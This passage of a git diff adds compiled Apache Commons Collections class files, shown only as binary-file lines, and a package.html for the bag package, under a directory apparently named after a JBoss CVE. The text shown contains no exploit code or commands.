a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$ValueIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$ValueIterator.class new file mode 100644 index 0000000..187f3fc Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$ValueIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$Values.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$Values.class new file mode 100644 index 0000000..975ddcb Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap$Values.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap.class new file mode 100644 index 0000000..3d42630 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MultiHashMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MultiMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MultiMap.class new file mode 100644 index 0000000..207dfcf Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/MultiMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/OrderedBidiMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/OrderedBidiMap.class new file mode 100644 index 0000000..1c8a042 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/OrderedBidiMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/OrderedIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/OrderedIterator.class new file mode 100644 index 0000000..7f7841e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/OrderedIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMap.class new file mode 100644 index 0000000..bf5a43d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMapIterator.class new file mode 100644 index 0000000..1d20239 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/OrderedMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Predicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Predicate.class new file mode 100644 index 0000000..853a924 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Predicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/PredicateUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/PredicateUtils.class new file mode 100644 index 0000000..af6df9b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/PredicateUtils.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/PriorityQueue.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/PriorityQueue.class new file mode 100644 index 0000000..44f9c0a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/PriorityQueue.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ProxyMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ProxyMap.class new file mode 100644 index 0000000..591ba96 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ProxyMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$1.class new file mode 100644 index 0000000..6b503d6 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$2.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$2.class new file mode 100644 index 0000000..2d66236 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$2.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$3.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$3.class new file mode 100644 index 0000000..6bc2ca8 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$3.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$Entry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$Entry.class new file mode 100644 index 0000000..488cda4 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$Entry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$EntryIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$EntryIterator.class new file mode 100644 index 0000000..5de2a66 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$EntryIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$KeyIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$KeyIterator.class new file mode 100644 index 0000000..b06f830 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$KeyIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$SoftRef.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$SoftRef.class new file mode 100644 index 0000000..7874c70 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$SoftRef.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$ValueIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$ValueIterator.class new file mode 100644 index 0000000..4b7c22b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$ValueIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$WeakRef.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$WeakRef.class new file mode 100644 index 0000000..cece705 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap$WeakRef.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap.class new file mode 100644 index 0000000..d36373a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ReferenceMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ResettableIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ResettableIterator.class new file mode 100644 index 0000000..75444f9 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ResettableIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ResettableListIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ResettableListIterator.class new file mode 100644 index 0000000..31d79e9 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/ResettableListIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$1.class new file mode 100644 index 0000000..0b5823c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$2.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$2.class new file mode 100644 index 0000000..4526917 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$2.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$3.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$3.class new file mode 100644 index 0000000..f5dd43a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$3.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$Entry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$Entry.class new file mode 100644 index 0000000..96f5e3a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$Entry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$OrderedIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$OrderedIterator.class new file mode 100644 index 0000000..a02e54e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap$OrderedIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap.class new file mode 100644 index 0000000..1f406f6 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SequencedHashMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SetUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SetUtils.class new file mode 100644 index 0000000..1995ac6 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SetUtils.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SortedBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SortedBag.class new file mode 100644 index 0000000..be21977 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SortedBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SortedBidiMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SortedBidiMap.class new file mode 100644 index 0000000..72257fc Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SortedBidiMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntryIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntryIterator.class new file mode 100644 index 0000000..783a361 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntryIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntrySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntrySet.class new file mode 100644 index 0000000..e759091 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$EntrySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeyIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeyIterator.class new file mode 100644 index 0000000..98b38e4 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeyIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeySet.class new file mode 100644 index 0000000..ef02b73 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$KeySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Lock.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Lock.class new file mode 100644 index 0000000..8c6519e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Lock.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Node.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Node.class new file mode 100644 index 0000000..74a8c28 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Node.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$ValueIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$ValueIterator.class new file mode 100644 index 0000000..7b58dd7 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$ValueIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Values.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Values.class new file mode 100644 index 0000000..d23b047 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap$Values.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap.class new file mode 100644 index 0000000..c983855 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/StaticBucketMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SynchronizedPriorityQueue.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SynchronizedPriorityQueue.class new file mode 100644 index 0000000..42f905b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/SynchronizedPriorityQueue.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Transformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Transformer.class new file mode 100644 index 0000000..9cb0fa2 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Transformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/TransformerUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/TransformerUtils.class new file mode 100644 index 0000000..fa59ac1 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/TransformerUtils.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/TreeBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/TreeBag.class new file mode 100644 index 0000000..20c43e9 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/TreeBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer$1.class new file mode 100644 index 0000000..3e0283e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer.class new file mode 100644 index 0000000..3c6ad18 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/UnboundedFifoBuffer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Unmodifiable.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Unmodifiable.class new file mode 100644 index 0000000..2089b31 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/Unmodifiable.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractBagDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractBagDecorator.class new file mode 100644 index 0000000..6ce97fb Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractBagDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$BagIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$BagIterator.class new file mode 100644 index 0000000..d59b806 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$BagIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$MutableInteger.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$MutableInteger.class new file mode 100644 index 0000000..0ca4809 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag$MutableInteger.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag.class new file mode 100644 index 0000000..cb7fe7e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractMapBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractSortedBagDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractSortedBagDecorator.class new file mode 100644 index 0000000..11f103f Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/AbstractSortedBagDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/HashBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/HashBag.class new file mode 100644 index 0000000..0450258 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/HashBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedBag.class new file mode 100644 index 0000000..f8dadff Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedSortedBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedSortedBag.class new file mode 100644 index 0000000..f853ac9 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/PredicatedSortedBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag$SynchronizedBagSet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag$SynchronizedBagSet.class new file mode 100644 index 0000000..3c660cd Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag$SynchronizedBagSet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag.class new file mode 100644 index 0000000..2962fe0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedSortedBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedSortedBag.class new file mode 100644 index 0000000..67b12d7 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/SynchronizedSortedBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedBag.class new file mode 100644 index 0000000..c4789a8 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedSortedBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedSortedBag.class new file mode 100644 index 0000000..a456bb0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TransformedSortedBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TreeBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TreeBag.class new file mode 100644 index 0000000..60182ce Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TreeBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedBag.class new file mode 100644 index 0000000..66e7306 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedSortedBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedSortedBag.class new file mode 100644 index 0000000..19aeac2 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/TypedSortedBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableBag.class new file mode 100644 index 0000000..0a650d0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableSortedBag.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableSortedBag.class new file mode 100644 index 0000000..7938737 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/UnmodifiableSortedBag.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/package.html b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/package.html new file mode 100644 index 0000000..c19a525 --- /dev/null +++ b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bag/package.html @@ -0,0 +1,39 @@ + + + +

+This package contains implementations of the +{@link org.apache.commons.collections.Bag Bag} and +{@link org.apache.commons.collections.SortedBag SortedBag} interfaces. +A bag stores an object and a count of the number of occurences of the object. +

+The following implementations are provided in the package: +

+

+The following decorators are provided in the package: +

+ + diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.class new file mode 100644 index 0000000..fc09636 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$BidiMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$BidiMapIterator.class new file mode 100644 index 0000000..e9caa2c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$BidiMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySet.class new file mode 100644 index 0000000..c6d10dc Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySetIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySetIterator.class new file mode 100644 index 0000000..ae23be5 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$EntrySetIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySet.class new file mode 100644 index 0000000..7d9f941 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySetIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySetIterator.class new file mode 100644 index 0000000..236a54b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$KeySetIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$MapEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$MapEntry.class new file mode 100644 index 0000000..5c04097 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$MapEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$Values.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$Values.class new file mode 100644 index 0000000..ab4206c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$Values.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$ValuesIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$ValuesIterator.class new file mode 100644 index 0000000..6f9db5e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$ValuesIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$View.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$View.class new file mode 100644 index 0000000..cc0ea19 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap$View.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap.class new file mode 100644 index 0000000..c00f188 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractDualBidiMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.class new file mode 100644 index 0000000..1ad8e70 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.class new file mode 100644 index 0000000..3f70936 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualHashBidiMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualHashBidiMap.class new file mode 100644 index 0000000..1c1b890 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualHashBidiMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$BidiOrderedMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$BidiOrderedMapIterator.class new file mode 100644 index 0000000..b27548c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$BidiOrderedMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$ViewMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$ViewMap.class new file mode 100644 index 0000000..ec1ffca Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap$ViewMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap.class new file mode 100644 index 0000000..958f391 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/DualTreeBidiMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$EntryView.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$EntryView.class new file mode 100644 index 0000000..672083c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$EntryView.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Inverse.class 